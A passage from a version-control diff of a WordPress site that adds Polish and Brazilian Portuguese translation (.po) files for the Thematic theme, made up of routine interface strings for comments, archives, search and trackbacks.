+ +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/archives.php:26 +msgid "Archives by Month" +msgstr "Archiwum wg. MiesiÄ…ca" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/archives.php:32 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:39 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:65 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/links.php:20 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/page.php:16 +msgid "Edit" +msgstr "Edytuj" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/attachment.php:22 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/index.php:32 +msgid "Pages:" +msgstr "Strony:" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/author.php:15 +msgid "Author Archives: " +msgstr "Archiwum Autora: " + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/author.php:33 +msgid "Email " +msgstr "Email " + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/category.php:13 +msgid "Category Archives:" +msgstr "Archiwum Kategorii:" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:9 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments.php:9 +msgid "This post is password protected. Enter the password to view any comments." +msgstr "Ten wpis jest chroniony hasÅ‚em. ProszÄ™ podaj hasÅ‚o aby przeglÄ…dać komentarze." + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:28 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments.php:28 +#, php-format +msgid "%d Comments" +msgstr "%d Komentarze" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:28 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments.php:28 +msgid "One Comment" +msgstr "Jeden Komentarz" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:35 +#, php-format +msgid "Posted %1$s at %2$s | Permalink" +msgstr "Opublikowano %1$s at %2$s | Permalink" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:40 +msgid "\t\t\t\t\tYour comment is awaiting moderation.\n" +msgstr "\t\t\t\t\tTwój komentarz oczekuje na moderacje.\n" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:54 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments.php:46 +#, php-format +msgid "%d Trackbacks" +msgstr "%d Trackback'i" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:54 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments.php:46 +msgid "One Trackback" +msgstr "Jeden Trackback" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:61 +#, php-format +msgid "By %1$s on %2$s at %3$s" +msgstr "Autor %1$s %2$s o %3$s" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:66 +msgid "\\t\\t\\t\\t\\tYour trackback is awaiting moderation.\\n" +msgstr "\\t\\t\\t\\t\\tTwój trackback oczekuje na moderacje.\\n" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:79 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments.php:60 +msgid "Post a Comment" +msgstr "Skomentuj" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:82 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments.php:65 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Musisz być zalogowany aby dodać komentarz." + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:90 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments.php:73 +#, php-format +msgid "Logged in as %2$s. Log out?" +msgstr "Zalogowany jako %2$s. Wylogować?" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:97 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments.php:80 +msgid "Your email is never published nor shared." +msgstr "Twój adres email nie zostanie opublikowany i nie bÄ™dzie rozpowszechniany." + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:97 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments.php:80 +msgid "Required fields are marked *" +msgstr "Wymagane pola sÄ… oznaczone *" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:100 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments.php:83 +msgid "Name" +msgstr "ImiÄ™" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:100 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:105 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments.php:83 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments.php:88 +msgid "*" +msgstr "*" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:105 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments.php:88 +msgid "Email" +msgstr "Email" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:110 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments.php:93 +msgid "Website" +msgstr "Strona" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:117 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments.php:100 +msgid "Comment" +msgstr "Komentarz" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments-legacy.php:123 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments.php:108 +msgid "Post Comment" +msgstr "Skomentuj" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/comments.php:60 +#, php-format +msgid "Post a Reply to %s" +msgstr "Napisz odpowiedź na %s." + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/header.php:29 +msgid "Posts RSS feed" +msgstr "KanaÅ‚ RSS wpisów" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/header.php:30 +msgid "Comments RSS feed" +msgstr "KanaÅ‚ RSS komentarzy" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/header.php:53 +msgid "Skip navigation to the content" +msgstr "Skocz do treÅ›ci strony" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/header.php:53 +msgid "Skip to content" +msgstr "Skocz do treÅ›ci" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/page.php:14 +msgid "Pages: " +msgstr "Strony: " + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/search.php:15 +msgid "Search Results for:" +msgstr "Wyniki wyszukiwania:" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/search.php:51 +msgid "Nothing Found" +msgstr "Nic nie znaleziono" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/search.php:53 +msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." +msgstr "Przykro nam, ale nie znaleziono nic pasujÄ…cego do Twoich kryteriów wyszukiwania. ProszÄ™ spróbuj z innymi sÅ‚owami kluczowymi." + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/sidebar.php:5 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/sidebar.php:9 +msgid "Search" +msgstr "Szukaj" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/sidebar.php:15 +msgid "Pages" +msgstr "Strony" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/sidebar.php:22 +msgid "Categories" +msgstr "Kategorie" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/sidebar.php:30 +msgid "Archives" +msgstr "Archiwa" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/sidebar.php:47 +msgid "RSS Feeds" +msgstr "KanaÅ‚ RSS" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/sidebar.php:49 +msgid "All posts" +msgstr "Wszystkie wpisy" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/sidebar.php:50 +msgid "All comments" +msgstr "Wszystkie komentarze" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/sidebar.php:55 +msgid "Meta" +msgstr "Meta" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/tag.php:13 +msgid "Tag Archives:" +msgstr "Archiwum Tagów:" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/discussion.php:22 +msgid "Reply" +msgstr "Odpowiedź" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/discussion.php:23 +msgid "Log in to reply." +msgstr "Zaloguj siÄ™ aby odpowiedzieć." + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:37 +msgid "Not Found" +msgstr "Nie Znaleziono" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:42 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:126 +msgid "Permalink to " +msgstr "Permalink do " + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:50 +msgid "By " +msgstr "Przez " + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:52 +msgid "View all posts by " +msgstr "Zobacz wszystkie wpisy " + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:76 +msgid "Edit post" +msgstr "Edytuj wpis" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:83 +msgid "This entry was posted in " +msgstr "Ten wpis umieszczono w kategorii " + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:86 +msgid "Also posted in " +msgstr "Opublikowano również w " + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:89 +msgid "Posted in " +msgstr "Opublikowano w " + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:95 +msgid " and tagged" +msgstr "i otagowano jako" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:98 +msgid " Also tagged " +msgstr "Również otagowano " + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:100 +msgid "Tagged" +msgstr "Otagowano jako" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:108 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:111 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:114 +msgid "Comment on " +msgstr "Komentarze do " + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:109 +msgid " Comments" +msgstr " Komentarze" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:112 +msgid " Comment" +msgstr " Komentarz" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:115 +msgid "Leave a comment" +msgstr "Skomentuj" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:118 +msgid "Comments closed" +msgstr "Komentowanie zostaÅ‚o zablokowane" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:126 +msgid ". Bookmark the " +msgstr ". Możesz dodać go do zakÅ‚adek " + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:127 +msgid "permalink" +msgstr "permalink" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:129 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:137 +msgid "Post a comment" +msgstr "Dodaj komentarz" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:130 +msgid " or leave a trackback: " +msgstr " lub dodaj odpowiedź (trackback): " + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:131 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:134 +msgid "Trackback URL for your post" +msgstr "Adres URL Trackback'u do tego wpisu" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:131 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:134 +msgid "Trackback URL" +msgstr "Trackback URL" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:133 +msgid " Comments are closed, but you can leave a trackback: " +msgstr "Komentowanie zostaÅ‚o zablokowane, ale możesz dodać odpowiedź (trackback): " + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:136 +msgid " Trackbacks are closed, but you can " +msgstr " Dodawanie odpowiedzi Trackback do tego wpisu zostaÅ‚o zablokowane, ale możesz " + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:137 +msgid "post a comment" +msgstr "dodać komentarz" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/hooks-filters.php:139 +msgid " Both comments and trackbacks are currently closed." +msgstr "Komentarze i odpowiedzi (trackback) zostaÅ‚y zablokowane." + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/theme-options.php:13 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic\library\extensions/theme-options.php:13 +msgid "Index Insert Position" +msgstr "Pozycja wstawienia indeksu" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/theme-options.php:14 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic\library\extensions/theme-options.php:14 +msgid "The widgetized Index Insert will follow after this post number." +msgstr "Pozycja wstawienia indeksu pojawi siÄ™ po tym numerze postu." + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/theme-options.php:19 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic\library\extensions/theme-options.php:19 +msgid "Info on Author Page" +msgstr "Informacja na stronie autora." + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/theme-options.php:20 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic\library\extensions/theme-options.php:20 +msgid "Display a microformatted vCard—with the author's avatar, bio and email—on the author page." +msgstr "Pokaż microsformatowany vCard—z awatarem autora, krótkÄ… notkÄ… i emailem - na stronie autora." + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/theme-options.php:26 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic\library\extensions/theme-options.php:26 +msgid "Text in Footer" +msgstr "Tekst stopki." + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/theme-options.php:27 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic\library\extensions/theme-options.php:27 +msgid "Enter the HTML text that will appear in the bottom of your footer. Feel free to remove or change any links. Hint: how to write a link." +msgstr "Wpisz kod HTML tekstu, któy pojawi siÄ™ na dole twojej stopki. Możesz dowolnie modyfikować i zmieniać dowolne linki." + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/theme-options.php:77 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic\library\extensions/theme-options.php:77 +msgid "settings saved." +msgstr "ustawienia zapisane." + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/theme-options.php:78 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic\library\extensions/theme-options.php:78 +msgid "settings reset." +msgstr "reset ustawieÅ„." + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/theme-options.php:79 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic\library\extensions/theme-options.php:79 +msgid "widgets reset." +msgstr "reset widgetów." + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/theme-options.php:195 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic\library\extensions/theme-options.php:195 +msgid "Save changes" +msgstr "Zapisz zmiany" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/theme-options.php:201 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic\library\extensions/theme-options.php:201 +msgid "Reset" +msgstr "Reset" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/theme-options.php:207 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic\library\extensions/theme-options.php:207 +msgid "Reset Widgets" +msgstr "Zresetuj Widgety" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/theme-options.php:212 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic\library\extensions/theme-options.php:212 +msgid "For more information about this theme, visit ThemeShaper. Please visit the ThemeShaper Forums if you have any questions about Thematic." +msgstr "WiÄ™cej informacji na temat tego szablonu na stronie, ThemeShaper. Odwiedź Forum ThemeShaper jeÅ›li masz jakiekolwiek pytania do Thematic." + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/widgets.php:55 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/widgets.php:246 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/widgets.php:247 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic\library\extensions/widgets.php:55 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic\library\extensions/widgets.php:246 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic\library\extensions/widgets.php:247 +msgid "RSS Links" +msgstr "Linki RSS" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/widgets.php:79 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/widgets/widget_blog_buttons.php:35 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic\library\extensions/widgets.php:79 +msgid "Title:" +msgstr "TytuÅ‚:" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/library/extensions/widgets.php:241 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic\library\extensions/widgets.php:241 +msgid "Blog Index" +msgstr "Blog Index" + +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/widgets/widget_blog_buttons.php:41 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/widgets/widget_blog_buttons.php:44 +#: c:\xampp\htdocs\wupperpiraten\wp-content\themes\thematic/widgets/widget_blog_buttons.php:45 +msgid "Blog Buttons" +msgstr "Przyciski Bloga" + +#~ msgid "Site Meta" +#~ msgstr "Meta Strony" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/pt_BR.mo Binary file web/wp-content/themes/thematic/library/languages/pt_BR.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/pt_BR.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/languages/pt_BR.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,763 @@ +# kubrick theme pot file. +# Copyright (C) 2007 WordPress +# This file is distributed under the same license as the kubrick theme package. +# +msgid "" +msgstr "" +"Project-Id-Version: Thematic 0.9\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-05-22 18:56-0300\n" +"PO-Revision-Date: 2010-01-24 16:43-0500\n" +"Last-Translator: Fernanda Thiesen \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Portuguese\n" +"X-Poedit-Country: BRAZIL\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: __;_e\n" +"X-Poedit-Basepath: F:\\Downloads\\thematic.0.9\\thematic\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:10 +msgid "Apologies, but we were unable to find what you were looking for. Perhaps searching will help." +msgstr "Desculpe, não estamos conseguindo encontrar o que você procura. Talvez usar o 'pesquisar' ajude." + +#: 404.php:15 +#: search.php:58 +msgid "Find" +msgstr "Encontrar" + +#: archive.php:16 +#, php-format +msgid "Daily Archives: %s" +msgstr "Arqvs. por dia: %s" + +#: archive.php:18 +#, php-format +msgid "Monthly Archives: %s" +msgstr "Arqvs. por mês: %s" + +#: archive.php:20 +#, php-format +msgid "Yearly Archives: %s" +msgstr "Arqvs. por ano: %s" + +#: archive.php:22 +msgid "Blog Archives" +msgstr "Blog-arqvs" + +#: archive.php:31 +#: archive.php:53 +#: author.php:21 +#: author.php:57 +#: category.php:20 +#: category.php:42 +#: index.php:17 +#: index.php:49 +#: search.php:21 +#: search.php:43 +msgid "« Older posts" +msgstr "« Posts mais antigos" + +#: archive.php:32 +#: archive.php:54 +#: author.php:22 +#: author.php:58 +#: category.php:21 +#: category.php:43 +#: index.php:18 +#: index.php:50 +#: search.php:22 +#: search.php:44 +msgid "Newer posts »" +msgstr "Posts mais recentes »" + +#: archive.php:41 +#: attachment.php:20 +#: author.php:45 +#: category.php:30 +#: index.php:30 +#: search.php:31 +msgid "Read More »" +msgstr "Leia Mais »" + +#: archives.php:20 +msgid "Archives by Category" +msgstr "Arqvs. por Categoria" + +#: archives.php:26 +msgid "Archives by Month" +msgstr "Arqvs. por Mês" + +#: archives.php:32 +#: links.php:20 +#: page.php:16 +msgid "Edit" +msgstr "Editar" + +#: attachment.php:22 +#: index.php:32 +msgid "Pages:" +msgstr "Páginas:" + +#: author.php:15 +msgid "Author Archives: " +msgstr "Arqvs. por autor: " + +#: author.php:34 +msgid "Email " +msgstr "Email " + +#: category.php:13 +msgid "Category Archives:" +msgstr "Arqvs. por Categoria:" + +#: comments.php:10 +msgid "This post is password protected. Enter the password to view any comments." +msgstr "Esse post é protegido por senha. Digite a senha para ver os comentários." + +#: comments.php:31 +#, php-format +msgid "%d Comments" +msgstr "%d Comentários" + +#: comments.php:31 +msgid "One Comment" +msgstr "Um Comentário" + +#: comments.php:52 +#, php-format +msgid "%d Trackbacks" +msgstr "%d Trackbacks" + +#: comments.php:52 +msgid "One Trackback" +msgstr "Um Trackback" + +#: comments.php:67 +msgid "Post a Comment" +msgstr "Comentar" + +#: comments.php:67 +#, php-format +msgid "Post a Reply to %s" +msgstr "Postar uma resposta para %s" + +#: comments.php:72 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Você precisa estar logado para comentar." + +#: comments.php:83 +#, php-format +msgid "Logged in as %2$s. Log out?" +msgstr "Logado como %2$s. Sair?" + +#: comments.php:90 +msgid "Your email is never published nor shared." +msgstr "Seu email nunca será publicado ou distribuído." + +#: comments.php:90 +msgid "Required fields are marked *" +msgstr "Campos obrigatórios estão marcados com *" + +#: comments.php:93 +msgid "Name" +msgstr "Nome" + +#: comments.php:93 +#: comments.php:98 +msgid "*" +msgstr "*" + +#: comments.php:98 +msgid "Email" +msgstr "Email" + +#: comments.php:103 +msgid "Website" +msgstr "Website" + +#: comments.php:110 +msgid "Comment" +msgstr "Comentário" + +#: comments.php:120 +msgid "Post Comment" +msgstr "Comentar" + +#: page.php:14 +msgid "Pages: " +msgstr "Páginas:" + +#: search.php:15 +msgid "Search Results for:" +msgstr "Pesquisar por:" + +#: search.php:51 +msgid "Nothing Found" +msgstr "Nada encontrado" + +#: search.php:53 +msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." +msgstr "Desculpe, mas não foi encontrado nenhum resultado de acordo com os seus critérios de pesquisa. Tente novamente com palavras chave diferentes." + +#: sidebar.php:6 +#: sidebar.php:10 +msgid "Search" +msgstr "Pesquisar" + +#: sidebar.php:16 +msgid "Pages" +msgstr "Páginas" + +#: sidebar.php:23 +msgid "Categories" +msgstr "Categorias" + +#: sidebar.php:31 +msgid "Archives" +msgstr "Arquivos" + +#: sidebar.php:50 +msgid "RSS Feeds" +msgstr "Feeds RSS" + +#: sidebar.php:52 +#: library/extensions/hooks-filters.php:391 +msgid "Posts RSS feed" +msgstr "RSS Feed dos posts" + +#: sidebar.php:52 +msgid "All posts" +msgstr "Todos os posts" + +#: sidebar.php:53 +#: library/extensions/hooks-filters.php:409 +msgid "Comments RSS feed" +msgstr "RSS Feed dos comentários" + +#: sidebar.php:53 +msgid "All comments" +msgstr "Todos os comentários" + +#: sidebar.php:58 +msgid "Meta" +msgstr "Meta" + +#: tag.php:13 +#: library/extensions/hooks-filters.php:207 +msgid "Tag Archives:" +msgstr "Arqvs. por tag:" + +#: library/extensions/discussion.php:10 +#, php-format +msgid "Posted %1$s at %2$s | Permalink" +msgstr "Publicado %1$s em %2$s | Permalink" + +#: library/extensions/discussion.php:15 +msgid "\t\t\t\t\tYour comment is awaiting moderation.\n" +msgstr "\t\t\t\t\tSeu comentário está aguardando ação de um moderador.\n" + +#: library/extensions/discussion.php:22 +msgid "Reply" +msgstr "Responder" + +#: library/extensions/discussion.php:23 +msgid "Log in to reply." +msgstr "Faça login para responder." + +#: library/extensions/discussion.php:37 +#, php-format +msgid "By %1$s on %2$s at %3$s" +msgstr "Por %1$s em %2$s às %3$s" + +#: library/extensions/discussion.php:42 +msgid "\\t\\t\\t\\t\\tYour trackback is awaiting moderation.\\n" +msgstr "\\t\\t\\t\\t\\tSeu trackback está aguardando ação de um moderador.\\n" + +#: library/extensions/helpers.php:31 +#: library/extensions/helpers.php:44 +msgid "There is no excerpt because this is a protected post." +msgstr "Não há sumário porque esse post é protegido." + +#: library/extensions/hooks-filters.php:61 +msgid "Skip navigation to the content" +msgstr "Ir direto para o conteúdo" + +#: library/extensions/hooks-filters.php:61 +msgid "Skip to content" +msgstr "Ir direto" + +#: library/extensions/hooks-filters.php:211 +#: library/extensions/hooks-filters.php:498 +msgid "Not Found" +msgstr "Não encontrado" + +#: library/extensions/hooks-filters.php:490 +#: library/extensions/hooks-filters.php:545 +msgid "Edit post" +msgstr "Editar post" + +#: library/extensions/hooks-filters.php:503 +#: library/extensions/hooks-filters.php:598 +msgid "Permalink to " +msgstr "Permalink para " + +#: library/extensions/hooks-filters.php:512 +msgid "By " +msgstr "Por " + +#: library/extensions/hooks-filters.php:514 +msgid "View all posts by " +msgstr "Ver todos os posts de" + +#: library/extensions/hooks-filters.php:517 +msgid "Published: " +msgstr "Publicado:" + +#: library/extensions/hooks-filters.php:552 +msgid "This entry was posted in " +msgstr "Este post foi publicado em" + +#: library/extensions/hooks-filters.php:555 +msgid "Also posted in " +msgstr "Também publicado em" + +#: library/extensions/hooks-filters.php:558 +msgid "Posted in " +msgstr "Publicado em " + +#: library/extensions/hooks-filters.php:565 +msgid " and tagged" +msgstr " e tags" + +#: library/extensions/hooks-filters.php:568 +msgid " Also tagged " +msgstr " Também com tags" + +#: library/extensions/hooks-filters.php:570 +msgid "Tagged" +msgstr "Tagged" + +#: library/extensions/hooks-filters.php:579 +#: library/extensions/hooks-filters.php:582 +#: library/extensions/hooks-filters.php:585 +msgid "Comment on " +msgstr "Comentar em" + +#: library/extensions/hooks-filters.php:580 +msgid " Comments" +msgstr " Comentários" + +#: library/extensions/hooks-filters.php:583 +msgid " Comment" +msgstr " Comentário" + +#: library/extensions/hooks-filters.php:586 +msgid "Leave a comment" +msgstr "Deixe um comentário" + +#: library/extensions/hooks-filters.php:589 +msgid "Comments closed" +msgstr "Fechado para comentários" + +#: library/extensions/hooks-filters.php:598 +msgid ". Bookmark the " +msgstr ". Bookmark o " + +#: library/extensions/hooks-filters.php:599 +msgid "permalink" +msgstr "permalink" + +#: library/extensions/hooks-filters.php:601 +#: library/extensions/hooks-filters.php:609 +msgid "Post a comment" +msgstr "Comentar" + +#: library/extensions/hooks-filters.php:602 +msgid " or leave a trackback: " +msgstr " ou deixar um trackback:" + +#: library/extensions/hooks-filters.php:603 +#: library/extensions/hooks-filters.php:606 +msgid "Trackback URL for your post" +msgstr "Trackback do seu post" + +#: library/extensions/hooks-filters.php:603 +#: library/extensions/hooks-filters.php:606 +msgid "Trackback URL" +msgstr "Trackback URL" + +#: library/extensions/hooks-filters.php:605 +msgid " Comments are closed, but you can leave a trackback: " +msgstr "Este conteúdo está fechado para comentários, mas você pode deixar um trackback:" + +#: library/extensions/hooks-filters.php:608 +msgid " Trackbacks are closed, but you can " +msgstr "Este conteúdo está fechado ara trackbacks, mas você pode" + +#: library/extensions/hooks-filters.php:609 +msgid "post a comment" +msgstr "postar um comentário" + +#: library/extensions/hooks-filters.php:611 +msgid " Both comments and trackbacks are currently closed." +msgstr " Fechado para comentários e 